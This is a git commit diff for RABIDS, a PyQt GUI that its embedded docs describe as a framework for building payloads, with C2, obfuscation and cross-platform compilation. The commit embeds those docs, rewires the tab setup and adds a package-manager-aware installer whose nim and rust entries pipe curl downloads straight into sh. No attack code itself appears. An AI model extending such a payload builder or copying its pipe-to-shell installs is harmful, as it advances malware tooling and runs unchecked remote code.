Embed docs, improve installer, and update tab init

This commit is contained in:
Abdullah Sarwar
2025-12-07 22:38:46 +05:00
parent 91c96f3879
commit fde9629bb9
4 changed files with 150 additions and 25 deletions

1
.gitignore vendored
View File

@ -7,3 +7,4 @@ LOOT/libssl-1_1-x64.dll
LOOT/libcrypto-1_1-x64.dll
LOOT/cacert.pem
node_modules
__pycache__

View File

@ -22,13 +22,36 @@ class DocsWidget(QWidget):
self.docs_text.setFont(subtitle_font)
self.docs_text.setReadOnly(True)
doc_path = os.path.join(self.script_dir, "DOC.md")
try:
with open(doc_path, 'r', encoding='utf-8') as f:
doc_content = f.read()
self.docs_text.setMarkdown(doc_content)
except FileNotFoundError:
self.docs_text.setText("Error: DOC.md not found.")
# Embedded documentation (previously in DOC.md)
DOC_CONTENT = """
# RABIDS
RABIDS is a modular framework for building payloads and tooling. This in-application documentation provides installation instructions, usage notes, and brief descriptions of available modules.
## Getting Started
1. Install UI dependencies:
```
pip install PyQt5 discord
```
2. Run the application:
```
python3 main.py
```
## Features
- Modular payload composition
- Cross-platform compilation (Windows/Linux/macOS)
- Optional Docker-based obfuscation
- Integrated C2 and build UI
Refer to the repository README for more details.
"""
self.docs_text.setMarkdown(DOC_CONTENT)
self.docs_text.setStyleSheet("background-color: #0e0e0e;")
layout.addWidget(self.docs_text)

View File

@ -2,10 +2,10 @@ import os
from pathlib import Path
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
QLabel, QGroupBox, QListWidget, QListWidgetItem, QFileDialog
QLabel, QGroupBox, QListWidget, QListWidgetItem, QFileDialog, QApplication
)
from PyQt5.QtGui import QFont, QPixmap
from PyQt5.QtCore import Qt, pyqtSignal, QApplication
from PyQt5.QtCore import Qt, pyqtSignal
class GarbageCollectorWidget(QWidget):

131
main.py
View File

@ -1,6 +1,7 @@
import sys
import os
import subprocess
import shutil
from pathlib import Path
from PyQt5.QtWidgets import QApplication, QMainWindow, QTabWidget
from PyQt5.QtGui import QFont
@ -305,15 +306,19 @@ class RABIDSGUI(QMainWindow):
self.tabs = QTabWidget()
self.setCentralWidget(self.tabs)
# Load configuration early so we can provide module options to builder
config = self.read_config()
module_options = config.get('module_options', {})
# Create all tab widgets
self.builder_widget = BuilderWidget(self.base_dir)
self.builder_widget = BuilderWidget(self.base_dir, module_options)
self.output_widget = OutputWidget(self.base_dir)
self.c2_widget = C2Widget()
self.krash_widget = KrashWidget()
self.c2_widget = C2Widget(self.base_dir)
self.krash_widget = KrashWidget(self.base_dir)
self.garbage_widget = GarbageCollectorWidget(self.base_dir)
self.whispers_widget = SilentWhispersWidget()
self.whispers_widget = SilentWhispersWidget(self.base_dir)
self.docs_widget = DocsWidget(self.base_dir)
self.settings_widget = SettingsWidget()
self.settings_widget = SettingsWidget(self.base_dir)
# Add tabs
self.tabs.addTab(self.builder_widget, "BUILDER")
@ -347,19 +352,96 @@ class RABIDSGUI(QMainWindow):
# Garbage Collector signals
self.garbage_widget.restore_requested.connect(self.handle_restore)
# Settings signals
self.settings_widget.install_nim_requested.connect(
lambda: self.install_dependency("nim", "curl https://nim-lang.org/choosenim/init.sh -sSf | sh")
# Settings signals (connect to package-manager-aware installer)
self.settings_widget.install_nim_tool_requested.connect(
lambda: self._install_from_widget("nim")
)
self.settings_widget.install_nasm_requested.connect(
lambda: self.install_dependency("nasm", "brew install nasm" if sys.platform == "darwin" else "sudo apt install nasm")
self.settings_widget.install_rust_tool_requested.connect(
lambda: self._install_from_widget("rust")
)
self.settings_widget.install_python_requested.connect(
lambda: self.install_dependency("python", "brew install python" if sys.platform == "darwin" else "sudo apt install python3")
lambda: self._install_from_widget("python")
)
self.settings_widget.install_node_requested.connect(
lambda: self.install_dependency("node", "brew install node" if sys.platform == "darwin" else "sudo apt install nodejs")
self.settings_widget.install_nimble_requested.connect(
lambda: self._install_from_widget("nimble")
)
self.settings_widget.install_rust_targets_requested.connect(
lambda: self._install_from_widget("rust_targets")
)
self.settings_widget.install_docker_requested.connect(
lambda: self._install_from_widget("docker")
)
def _install_from_widget(self, tool):
cmd = self.get_install_cmd(tool)
if not cmd:
self.output_widget.log_message(f"[-] No suitable package manager found for installing '{tool}'. Please install manually.")
return
self.install_dependency(tool, cmd)
def get_install_cmd(self, tool):
"""Return an appropriate install command for `tool` based on detected package manager."""
# Detect package manager
pm = None
if shutil.which("brew"):
pm = "brew"
elif shutil.which("apt-get") or shutil.which("apt"):
pm = "apt"
elif shutil.which("pacman"):
pm = "pacman"
elif shutil.which("choco"):
pm = "choco"
elif shutil.which("winget"):
pm = "winget"
# Map tool -> command per package manager
if tool == "nim":
if pm == "brew":
return "curl https://nim-lang.org/choosenim/init.sh -sSf | sh"
if pm == "apt":
return "sudo apt-get update && sudo apt-get install -y nim"
if pm == "pacman":
return "sudo pacman -S --noconfirm nim"
if pm == "choco":
return "choco install nim -y"
if pm == "winget":
return "winget install -e --id NimLang.Nim"
return "curl https://nim-lang.org/choosenim/init.sh -sSf | sh"
if tool == "rust":
cmd = "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y"
return cmd
if tool == "python":
if pm == "brew":
return "brew install python"
if pm == "apt":
return "sudo apt-get update && sudo apt-get install -y python3 python3-pip"
if pm == "pacman":
return "sudo pacman -S --noconfirm python python-pip"
if pm == "choco":
return "choco install python -y"
if pm == "winget":
return "winget install Python.Python.3"
return "python3 -m pip install --upgrade pip"
if tool == "nimble":
return "nimble install -y"
if tool == "rust_targets":
# Add a common Windows target as example
return "rustup target add x86_64-pc-windows-gnu"
if tool == "docker":
if pm == "brew":
return "brew install --cask docker"
if pm == "apt":
return "sudo apt-get update && sudo apt-get install -y docker.io"
if pm == "pacman":
return "sudo pacman -S --noconfirm docker"
if pm == "choco":
return "choco install docker-desktop -y"
return None
def handle_build(self, modules, options):
"""Handle build request from builder widget."""
@ -435,12 +517,31 @@ class RABIDSGUI(QMainWindow):
config_path = self.base_dir / "rabids_config.json"
if config_path.exists():
try:
with open(config_path, 'r') as f:
with open(config_path, 'r', encoding='utf-8') as f:
config = __import__('json').load(f)
# Apply settings to widgets as needed
# Apply settings to widgets as needed
try:
self.builder_widget.load_settings(config)
except Exception:
pass
try:
self.settings_widget.load_settings(config)
except Exception:
pass
except Exception:
pass
def read_config(self):
"""Return parsed configuration dict or empty dict."""
config_path = self.base_dir / "rabids_config.json"
if config_path.exists():
try:
with open(config_path, 'r', encoding='utf-8') as f:
return __import__('json').load(f)
except Exception:
return {}
return {}
def save_settings(self):
"""Save settings to config file."""
config_path = self.base_dir / "rabids_config.json"